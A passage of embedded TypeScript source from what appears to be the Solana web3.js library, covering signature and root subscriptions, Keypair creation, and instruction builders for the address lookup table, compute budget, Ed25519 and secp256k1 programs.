callback: SignatureResultCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId {\n const args = this._buildArgs(\n [signature],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n );\n const clientSubscriptionId = this._makeSubscription(\n {\n callback: (notification, context) => {\n if (notification.type === 'status') {\n callback(notification.result, context);\n // Signatures subscriptions are auto-removed by the RPC service\n // so no need to explicitly send an unsubscribe message.\n try {\n this.removeSignatureListener(clientSubscriptionId);\n // eslint-disable-next-line no-empty\n } catch (_err) {\n // Already removed.\n }\n }\n },\n method: 'signatureSubscribe',\n unsubscribeMethod: 'signatureUnsubscribe',\n },\n args,\n );\n return clientSubscriptionId;\n }\n\n /**\n * Register a callback to be invoked when a transaction is\n * received and/or processed.\n *\n * @param signature Transaction signature string in base 58\n * @param callback Function to invoke on signature notifications\n * @param options Enable received notifications and set the commitment\n * level that signature must reach before notification\n * @return subscription id\n */\n onSignatureWithOptions(\n signature: TransactionSignature,\n callback: SignatureSubscriptionCallback,\n options?: SignatureSubscriptionOptions,\n ): ClientSubscriptionId {\n const {commitment, ...extra} = {\n ...options,\n commitment:\n (options && options.commitment) || this._commitment || 'finalized', // Apply connection/server default.\n };\n const args = this._buildArgs(\n [signature],\n commitment,\n undefined /* encoding */,\n extra,\n );\n const clientSubscriptionId = this._makeSubscription(\n {\n callback: (notification, context) => {\n callback(notification, context);\n // Signatures subscriptions are auto-removed by the RPC service\n // so no need to explicitly send an unsubscribe message.\n try {\n this.removeSignatureListener(clientSubscriptionId);\n // eslint-disable-next-line no-empty\n } catch (_err) {\n // Already removed.\n }\n },\n method: 'signatureSubscribe',\n unsubscribeMethod: 'signatureUnsubscribe',\n },\n args,\n );\n return clientSubscriptionId;\n }\n\n /**\n * Deregister a signature notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSignatureListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'signature result',\n );\n }\n\n /**\n * @internal\n */\n _wsOnRootNotification(notification: Object) {\n const {result, subscription} = create(notification, RootNotificationResult);\n this._handleServerNotification<RootChangeCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon root changes\n *\n * @param callback Function to invoke whenever the root changes\n * @return subscription id\n */\n onRootChange(callback: RootChangeCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'rootSubscribe',\n unsubscribeMethod: 'rootUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a root notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeRootChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'root change',\n );\n }\n}\n","import {generateKeypair, getPublicKey, Ed25519Keypair} from './utils/ed25519';\nimport {PublicKey} from './publickey';\n\n/**\n * Keypair signer interface\n */\nexport interface Signer {\n publicKey: PublicKey;\n secretKey: Uint8Array;\n}\n\n/**\n * An account keypair used for signing transactions.\n */\nexport class Keypair {\n private _keypair: Ed25519Keypair;\n\n /**\n * Create a new keypair instance.\n * Generate random keypair if no {@link Ed25519Keypair} is provided.\n *\n * @param {Ed25519Keypair} keypair ed25519 keypair\n */\n constructor(keypair?: Ed25519Keypair) {\n this._keypair = keypair ?? generateKeypair();\n }\n\n /**\n * Generate a new random keypair\n *\n * @returns {Keypair} Keypair\n */\n static generate(): Keypair {\n return new Keypair(generateKeypair());\n }\n\n /**\n * Create a keypair from a raw secret key byte array.\n *\n * This method should only be used to recreate a keypair from a previously\n * generated secret key. Generating keypairs from a random seed should be done\n * with the {@link Keypair.fromSeed} method.\n *\n * @throws error if the provided secret key is invalid and validation is not skipped.\n *\n * @param secretKey secret key byte array\n * @param options skip secret key validation\n *\n * @returns {Keypair} Keypair\n */\n static fromSecretKey(\n secretKey: Uint8Array,\n options?: {skipValidation?: boolean},\n ): Keypair {\n if (secretKey.byteLength !== 64) {\n throw new Error('bad secret key size');\n }\n const publicKey = secretKey.slice(32, 64);\n if (!options || !options.skipValidation) {\n const privateScalar = secretKey.slice(0, 32);\n const computedPublicKey = getPublicKey(privateScalar);\n for (let ii = 0; ii < 32; ii++) {\n if (publicKey[ii] !== computedPublicKey[ii]) {\n throw new Error('provided secretKey is invalid');\n }\n }\n }\n return new Keypair({publicKey, secretKey});\n }\n\n /**\n * Generate a keypair from a 32 byte seed.\n *\n * @param seed seed byte array\n *\n * @returns {Keypair} Keypair\n */\n static fromSeed(seed: Uint8Array): Keypair {\n const publicKey = getPublicKey(seed);\n const secretKey = new Uint8Array(64);\n secretKey.set(seed);\n secretKey.set(publicKey, 32);\n return new Keypair({publicKey, secretKey});\n }\n\n /**\n * The public key for this keypair\n *\n * @returns {PublicKey} PublicKey\n */\n get publicKey(): PublicKey {\n return new PublicKey(this._keypair.publicKey);\n }\n\n /**\n * The raw secret key for this keypair\n * @returns {Uint8Array} Secret key in an array of Uint8 bytes\n */\n get secretKey(): Uint8Array {\n return new Uint8Array(this._keypair.secretKey);\n }\n}\n","import {toBufferLE} from 'bigint-buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from '../../layout';\nimport {PublicKey} from '../../publickey';\nimport * as bigintLayout from '../../utils/bigint';\nimport {SystemProgram} from '../system';\nimport {TransactionInstruction} from '../../transaction';\nimport {decodeData, encodeData, IInstructionInputData} from '../../instruction';\n\nexport * from './state';\n\nexport type CreateLookupTableParams = {\n /** Account used to derive and control the new address lookup table. */\n authority: PublicKey;\n /** Account that will fund the new address lookup table. */\n payer: PublicKey;\n /** A recent slot must be used in the derivation path for each initialized table. */\n recentSlot: bigint | number;\n};\n\nexport type FreezeLookupTableParams = {\n /** Address lookup table account to freeze. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n};\n\nexport type ExtendLookupTableParams = {\n /** Address lookup table account to extend. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n /** Account that will fund the table reallocation.\n * Not required if the reallocation has already been funded. */\n payer?: PublicKey;\n /** List of Public Keys to be added to the lookup table. */\n addresses: Array<PublicKey>;\n};\n\nexport type DeactivateLookupTableParams = {\n /** Address lookup table account to deactivate. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n};\n\nexport type CloseLookupTableParams = {\n /** Address lookup table account to close. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n /** Recipient of closed account lamports. */\n recipient: PublicKey;\n};\n\n/**\n * An enumeration of valid LookupTableInstructionType's\n */\nexport type LookupTableInstructionType =\n | 'CreateLookupTable'\n | 'ExtendLookupTable'\n | 'CloseLookupTable'\n | 'FreezeLookupTable'\n | 'DeactivateLookupTable';\n\ntype LookupTableInstructionInputData = {\n CreateLookupTable: IInstructionInputData &\n Readonly<{\n recentSlot: bigint;\n bumpSeed: number;\n }>;\n FreezeLookupTable: IInstructionInputData;\n ExtendLookupTable: IInstructionInputData &\n Readonly<{\n numberOfAddresses: bigint;\n addresses: Array<Uint8Array>;\n }>;\n DeactivateLookupTable: IInstructionInputData;\n CloseLookupTable: IInstructionInputData;\n};\n\n/**\n * An enumeration of valid address lookup table InstructionType's\n * @internal\n */\nexport const LOOKUP_TABLE_INSTRUCTION_LAYOUTS = Object.freeze({\n CreateLookupTable: {\n index: 0,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['CreateLookupTable']\n >([\n BufferLayout.u32('instruction'),\n bigintLayout.u64('recentSlot'),\n BufferLayout.u8('bumpSeed'),\n ]),\n },\n FreezeLookupTable: {\n index: 1,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['FreezeLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n ExtendLookupTable: {\n index: 2,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['ExtendLookupTable']\n >([\n BufferLayout.u32('instruction'),\n bigintLayout.u64(),\n BufferLayout.seq(\n Layout.publicKey(),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'addresses',\n ),\n ]),\n },\n DeactivateLookupTable: {\n index: 3,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['DeactivateLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n CloseLookupTable: {\n index: 4,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['CloseLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n});\n\nexport class AddressLookupTableInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): LookupTableInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const index = instructionTypeLayout.decode(instruction.data);\n\n let type: LookupTableInstructionType | undefined;\n for (const [layoutType, layout] of Object.entries(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS,\n )) {\n if ((layout as any).index == index) {\n type = layoutType as LookupTableInstructionType;\n break;\n }\n }\n if (!type) {\n throw new Error(\n 'Invalid Instruction. Should be a LookupTable Instruction',\n );\n }\n return type;\n }\n\n static decodeCreateLookupTable(\n instruction: TransactionInstruction,\n ): CreateLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 4);\n\n const {recentSlot} = decodeData(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable,\n instruction.data,\n );\n\n return {\n authority: instruction.keys[1].pubkey,\n payer: instruction.keys[2].pubkey,\n recentSlot: Number(recentSlot),\n };\n }\n\n static decodeExtendLookupTable(\n instruction: TransactionInstruction,\n ): ExtendLookupTableParams {\n this.checkProgramId(instruction.programId);\n if (instruction.keys.length < 2) {\n throw new Error(\n `invalid instruction; found ${instruction.keys.length} keys, expected at least 2`,\n );\n }\n\n const {addresses} = decodeData(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable,\n instruction.data,\n );\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n payer:\n instruction.keys.length > 2 ? instruction.keys[2].pubkey : undefined,\n addresses: addresses.map(buffer => new PublicKey(buffer)),\n };\n }\n\n static decodeCloseLookupTable(\n instruction: TransactionInstruction,\n ): CloseLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 3);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n recipient: instruction.keys[2].pubkey,\n };\n }\n\n static decodeFreezeLookupTable(\n instruction: TransactionInstruction,\n ): FreezeLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 2);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n };\n }\n\n static decodeDeactivateLookupTable(\n instruction: TransactionInstruction,\n ): DeactivateLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 2);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(AddressLookupTableProgram.programId)) {\n throw new Error(\n 'invalid instruction; programId is not AddressLookupTable Program',\n );\n }\n }\n /**\n * @internal\n */\n static checkKeysLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\nexport class AddressLookupTableProgram {\n /**\n * @internal\n */\n constructor() {}\n\n static programId: PublicKey = new PublicKey(\n 'AddressLookupTab1e1111111111111111111111111',\n );\n\n static createLookupTable(params: CreateLookupTableParams) {\n const [lookupTableAddress, bumpSeed] = PublicKey.findProgramAddressSync(\n [params.authority.toBuffer(), toBufferLE(BigInt(params.recentSlot), 8)],\n this.programId,\n );\n\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable;\n const data = encodeData(type, {\n recentSlot: BigInt(params.recentSlot),\n bumpSeed: bumpSeed,\n });\n\n const keys = [\n {\n pubkey: lookupTableAddress,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n {\n pubkey: params.payer,\n isSigner: true,\n isWritable: true,\n },\n {\n pubkey: SystemProgram.programId,\n isSigner: false,\n isWritable: false,\n },\n ];\n\n return [\n new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n }),\n lookupTableAddress,\n ] as [TransactionInstruction, PublicKey];\n }\n\n static freezeLookupTable(params: FreezeLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.FreezeLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static extendLookupTable(params: ExtendLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable;\n const data = encodeData(type, {\n addresses: params.addresses.map(addr => addr.toBytes()),\n });\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n if (params.payer) {\n keys.push(\n {\n pubkey: params.payer,\n isSigner: true,\n isWritable: true,\n },\n {\n pubkey: SystemProgram.programId,\n isSigner: false,\n isWritable: false,\n },\n );\n }\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static deactivateLookupTable(params: DeactivateLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.DeactivateLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static closeLookupTable(params: CloseLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CloseLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n {\n pubkey: params.recipient,\n isSigner: false,\n isWritable: true,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport {u64} from '../utils/bigint';\n\n/**\n * Compute Budget Instruction class\n */\nexport class ComputeBudgetInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a compute budget instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): ComputeBudgetInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u8('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: ComputeBudgetInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS,\n )) {\n if (layout.index == typeIndex) {\n type = ixType as ComputeBudgetInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error(\n 'Instruction type incorrect; not a ComputeBudgetInstruction',\n );\n }\n\n return type;\n }\n\n /**\n * Decode request units compute budget instruction and retrieve the instruction params.\n */\n static decodeRequestUnits(\n instruction: TransactionInstruction,\n ): RequestUnitsParams {\n this.checkProgramId(instruction.programId);\n const {units, additionalFee} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits,\n instruction.data,\n );\n return {units, additionalFee};\n }\n\n /**\n * Decode request heap frame compute budget instruction and retrieve the instruction params.\n */\n static decodeRequestHeapFrame(\n instruction: TransactionInstruction,\n ): RequestHeapFrameParams {\n this.checkProgramId(instruction.programId);\n const {bytes} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame,\n instruction.data,\n );\n return {bytes};\n }\n\n /**\n * Decode set compute unit limit compute budget instruction and retrieve the instruction params.\n */\n static decodeSetComputeUnitLimit(\n instruction: TransactionInstruction,\n ): SetComputeUnitLimitParams {\n this.checkProgramId(instruction.programId);\n const {units} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit,\n instruction.data,\n );\n return {units};\n }\n\n /**\n * Decode set compute unit price compute budget instruction and retrieve the instruction params.\n */\n static decodeSetComputeUnitPrice(\n instruction: TransactionInstruction,\n ): SetComputeUnitPriceParams {\n this.checkProgramId(instruction.programId);\n const {microLamports} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice,\n instruction.data,\n );\n return {microLamports};\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(ComputeBudgetProgram.programId)) {\n throw new Error(\n 'invalid instruction; programId is not ComputeBudgetProgram',\n );\n }\n }\n}\n\n/**\n * An enumeration of valid ComputeBudgetInstructionType's\n */\nexport type ComputeBudgetInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof ComputeBudgetInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'RequestUnits'\n | 'RequestHeapFrame'\n | 'SetComputeUnitLimit'\n | 'SetComputeUnitPrice';\n\ntype ComputeBudgetInstructionInputData = {\n RequestUnits: IInstructionInputData & Readonly<RequestUnitsParams>;\n RequestHeapFrame: IInstructionInputData & Readonly<RequestHeapFrameParams>;\n SetComputeUnitLimit: IInstructionInputData &\n Readonly<SetComputeUnitLimitParams>;\n SetComputeUnitPrice: IInstructionInputData &\n Readonly<SetComputeUnitPriceParams>;\n};\n\n/**\n * Request units instruction params\n */\nexport interface RequestUnitsParams {\n /** Units to request for transaction-wide compute */\n units: number;\n /** Prioritization fee lamports */\n additionalFee: number;\n}\n\n/**\n * Request heap frame instruction params\n */\nexport type RequestHeapFrameParams = {\n /** Requested transaction-wide program heap size in bytes. Must be multiple of 1024. Applies to each program, including CPIs. */\n bytes: number;\n};\n\n/**\n * Set compute unit limit instruction params\n */\nexport interface SetComputeUnitLimitParams {\n /** Transaction-wide compute unit limit */\n units: number;\n}\n\n/**\n * Set compute unit price instruction params\n */\nexport interface SetComputeUnitPriceParams {\n /** Transaction compute unit price used for prioritization fees */\n microLamports: number | bigint;\n}\n\n/**\n * An enumeration of valid ComputeBudget InstructionType's\n * @internal\n */\nexport const COMPUTE_BUDGET_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in ComputeBudgetInstructionType]: InstructionType<\n ComputeBudgetInstructionInputData[Instruction]\n >;\n}>({\n RequestUnits: {\n index: 0,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['RequestUnits']\n >([\n BufferLayout.u8('instruction'),\n BufferLayout.u32('units'),\n BufferLayout.u32('additionalFee'),\n ]),\n },\n RequestHeapFrame: {\n index: 1,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['RequestHeapFrame']\n >([BufferLayout.u8('instruction'), BufferLayout.u32('bytes')]),\n },\n SetComputeUnitLimit: {\n index: 2,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['SetComputeUnitLimit']\n >([BufferLayout.u8('instruction'), BufferLayout.u32('units')]),\n },\n SetComputeUnitPrice: {\n index: 3,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['SetComputeUnitPrice']\n >([BufferLayout.u8('instruction'), u64('microLamports')]),\n },\n});\n\n/**\n * Factory class for transaction instructions to interact with the Compute Budget program\n */\nexport class ComputeBudgetProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Compute Budget program\n */\n static programId: PublicKey = new PublicKey(\n 'ComputeBudget111111111111111111111111111111',\n );\n\n /**\n * @deprecated Instead, call {@link setComputeUnitLimit} and/or {@link setComputeUnitPrice}\n */\n static requestUnits(params: RequestUnitsParams): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static requestHeapFrame(\n params: RequestHeapFrameParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static setComputeUnitLimit(\n params: SetComputeUnitLimitParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static setComputeUnitPrice(\n params: SetComputeUnitPriceParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice;\n const data = encodeData(type, {\n microLamports: BigInt(params.microLamports),\n });\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {Keypair} from '../keypair';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {sign} from '../utils/ed25519';\n\nconst PRIVATE_KEY_BYTES = 64;\nconst PUBLIC_KEY_BYTES = 32;\nconst SIGNATURE_BYTES = 64;\n\n/**\n * Params for creating an ed25519 instruction using a public key\n */\nexport type CreateEd25519InstructionWithPublicKeyParams = {\n publicKey: Uint8Array;\n message: Uint8Array;\n signature: Uint8Array;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an ed25519 instruction using a private key\n */\nexport type CreateEd25519InstructionWithPrivateKeyParams = {\n privateKey: Uint8Array;\n message: Uint8Array;\n instructionIndex?: number;\n};\n\nconst ED25519_INSTRUCTION_LAYOUT = BufferLayout.struct<\n Readonly<{\n messageDataOffset: number;\n messageDataSize: number;\n messageInstructionIndex: number;\n numSignatures: number;\n padding: number;\n publicKeyInstructionIndex: number;\n publicKeyOffset: number;\n signatureInstructionIndex: number;\n signatureOffset: number;\n }>\n>([\n BufferLayout.u8('numSignatures'),\n BufferLayout.u8('padding'),\n BufferLayout.u16('signatureOffset'),\n BufferLayout.u16('signatureInstructionIndex'),\n BufferLayout.u16('publicKeyOffset'),\n BufferLayout.u16('publicKeyInstructionIndex'),\n BufferLayout.u16('messageDataOffset'),\n BufferLayout.u16('messageDataSize'),\n BufferLayout.u16('messageInstructionIndex'),\n]);\n\nexport class Ed25519Program {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the ed25519 program\n */\n static programId: PublicKey = new PublicKey(\n 'Ed25519SigVerify111111111111111111111111111',\n );\n\n /**\n * Create an ed25519 instruction with a public key and signature. The\n * public key must be a buffer that is 32 bytes long, and the signature\n * must be a buffer of 64 bytes.\n */\n static createInstructionWithPublicKey(\n params: CreateEd25519InstructionWithPublicKeyParams,\n ): TransactionInstruction {\n const {publicKey, message, signature, instructionIndex} = params;\n\n assert(\n publicKey.length === PUBLIC_KEY_BYTES,\n `Public Key must be ${PUBLIC_KEY_BYTES} bytes but received ${publicKey.length} bytes`,\n );\n\n assert(\n signature.length === SIGNATURE_BYTES,\n `Signature must be ${SIGNATURE_BYTES} bytes but received ${signature.length} bytes`,\n );\n\n const publicKeyOffset = ED25519_INSTRUCTION_LAYOUT.span;\n const signatureOffset = publicKeyOffset + publicKey.length;\n const messageDataOffset = signatureOffset + signature.length;\n const numSignatures = 1;\n\n const instructionData = Buffer.alloc(messageDataOffset + message.length);\n\n const index =\n instructionIndex == null\n ? 0xffff // An index of `u16::MAX` makes it default to the current instruction.\n : instructionIndex;\n\n ED25519_INSTRUCTION_LAYOUT.encode(\n {\n numSignatures,\n padding: 0,\n signatureOffset,\n signatureInstructionIndex: index,\n publicKeyOffset,\n publicKeyInstructionIndex: index,\n messageDataOffset,\n messageDataSize: message.length,\n messageInstructionIndex: index,\n },\n instructionData,\n );\n\n instructionData.fill(publicKey, publicKeyOffset);\n instructionData.fill(signature, signatureOffset);\n instructionData.fill(message, messageDataOffset);\n\n return new TransactionInstruction({\n keys: [],\n programId: Ed25519Program.programId,\n data: instructionData,\n });\n }\n\n /**\n * Create an ed25519 instruction with a private key. The private key\n * must be a buffer that is 64 bytes long.\n */\n static createInstructionWithPrivateKey(\n params: CreateEd25519InstructionWithPrivateKeyParams,\n ): TransactionInstruction {\n const {privateKey, message, instructionIndex} = params;\n\n assert(\n privateKey.length === PRIVATE_KEY_BYTES,\n `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${privateKey.length} bytes`,\n );\n\n try {\n const keypair = Keypair.fromSecretKey(privateKey);\n const publicKey = keypair.publicKey.toBytes();\n const signature = sign(message, keypair.secretKey);\n\n return this.createInstructionWithPublicKey({\n publicKey,\n message,\n signature,\n instructionIndex,\n });\n } catch (error) {\n throw new Error(`Error creating instruction; ${error}`);\n }\n }\n}\n","import {secp256k1} from '@noble/curves/secp256k1';\n\nexport const ecdsaSign = (\n msgHash: Parameters<typeof secp256k1.sign>[0],\n privKey: Parameters<typeof secp256k1.sign>[1],\n) => {\n const signature = secp256k1.sign(msgHash, privKey);\n return [signature.toCompactRawBytes(), signature.recovery!] as const;\n};\nexport const isValidPrivateKey = secp256k1.utils.isValidPrivateKey;\nexport const publicKeyCreate = secp256k1.getPublicKey;\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\nimport {keccak_256} from '@noble/hashes/sha3';\n\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {publicKeyCreate, ecdsaSign} from '../utils/secp256k1';\nimport {toBuffer} from '../utils/to-buffer';\n\nconst PRIVATE_KEY_BYTES = 32;\nconst ETHEREUM_ADDRESS_BYTES = 20;\nconst PUBLIC_KEY_BYTES = 64;\nconst SIGNATURE_OFFSETS_SERIALIZED_SIZE = 11;\n\n/**\n * Params for creating an secp256k1 instruction using a public key\n */\nexport type CreateSecp256k1InstructionWithPublicKeyParams = {\n publicKey: Buffer | Uint8Array | Array<number>;\n message: Buffer | Uint8Array | Array<number>;\n signature: Buffer | Uint8Array | Array<number>;\n recoveryId: number;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an secp256k1 instruction using an Ethereum address\n */\nexport type CreateSecp256k1InstructionWithEthAddressParams = {\n ethAddress: Buffer | Uint8Array | Array<number> | string;\n message: Buffer | Uint8Array | Array<number>;\n signature: Buffer | Uint8Array | Array<number>;\n recoveryId: number;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an secp256k1 instruction using a private key\n */\nexport type CreateSecp256k1InstructionWithPrivateKeyParams = {\n privateKey: Buffer | Uint8Array | Array<number>;\n message: Buffer | Uint8Array | Array<number>;\n instructionIndex?: number;\n};\n\nconst SECP256K1_INSTRUCTION_LAYOUT = BufferLayout.struct<\n Readonly<{\n ethAddress: Uint8Array;\n ethAddressInstructionIndex: number;\n ethAddressOffset: number;\n messageDataOffset: number;\n messageDataSize: number;\n messageInstructionIndex: number;\n numSignatures: number;\n recoveryId: number;\n signature: Uint8Array;\n signatureInstructionIndex: number;\n signatureOffset: number;\n }>\n>([\n BufferLayout.u8('numSignatures'),\n BufferLayout.u16('signatureOffset'),\n BufferLayout.u8('signatureInstructionIndex'),\n BufferLayout.u16('ethAddressOffset'),\n BufferLayout.u8('ethAddressInstructionIndex'),\n BufferLayout.u16('messageDataOffset'),\n BufferLayout.u16('messageDataSize'),\n BufferLayout.u8('messageInstructionIndex'),\n BufferLayout.blob(20, 'ethAddress'),\n BufferLayout.blob(64, 'signature'),\n BufferLayout.u8('recoveryId'),\n]);\n\nexport class Secp256k1Program {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the secp256k1 program\n */\n static programId: PublicKey = new PublicKey(\n 'KeccakSecp256k11111111111111111111111111111',\n );\n\n /**\n * Construct an Ethereum address from a secp256k1 public key buffer.\n * @param {Buffer} publicKey a 64 byte secp256k1 public key buffer\n */\n static publicKeyToEthAddress(\n publicKey: Buffer | Uint8Array | Array<number>,\n ): Buffer {\n assert(\n publicKey.length === PUBLIC_KEY_BYTES,\n `Public key must be ${PUBLIC_KEY_BYTES} bytes but received ${publicKey.length} bytes`,\n );\n\n try {\n return Buffer.from(keccak_256(toBuffer(publicKey))).slice(\n -ETHEREUM_ADDRESS_BYTES,\n );\n } catch (error) {\n throw new Error(`Error constructing Ethereum address: ${error}`);\n }\n }\n\n /**\n * Create an secp256k1 instruction with a public key. The public key\n * must be a buffer that is 64 bytes long.\n */\n static createInstructionWithPublicKey(\n params: CreateSecp256k1InstructionWithPublicKeyParams,\n ): TransactionInstruction {\n const {publicKey, message, signature, recoveryId, instructionIndex} =\n params;\n return Secp256k1Program.createInstructionWithEthAddress({\n ethAddress: Secp256k1Program.publicKeyToEthAddress(publicKey),\n message,\n signature,\n recoveryId,\n instructionIndex,\n });\n }\n\n /**\n * Create an secp256k1 instruction with an Ethereum address. The address\n * must be a hex string or a buffer that is 20 bytes long.\n */\n static createInstructionWithEthAddress(\n params: 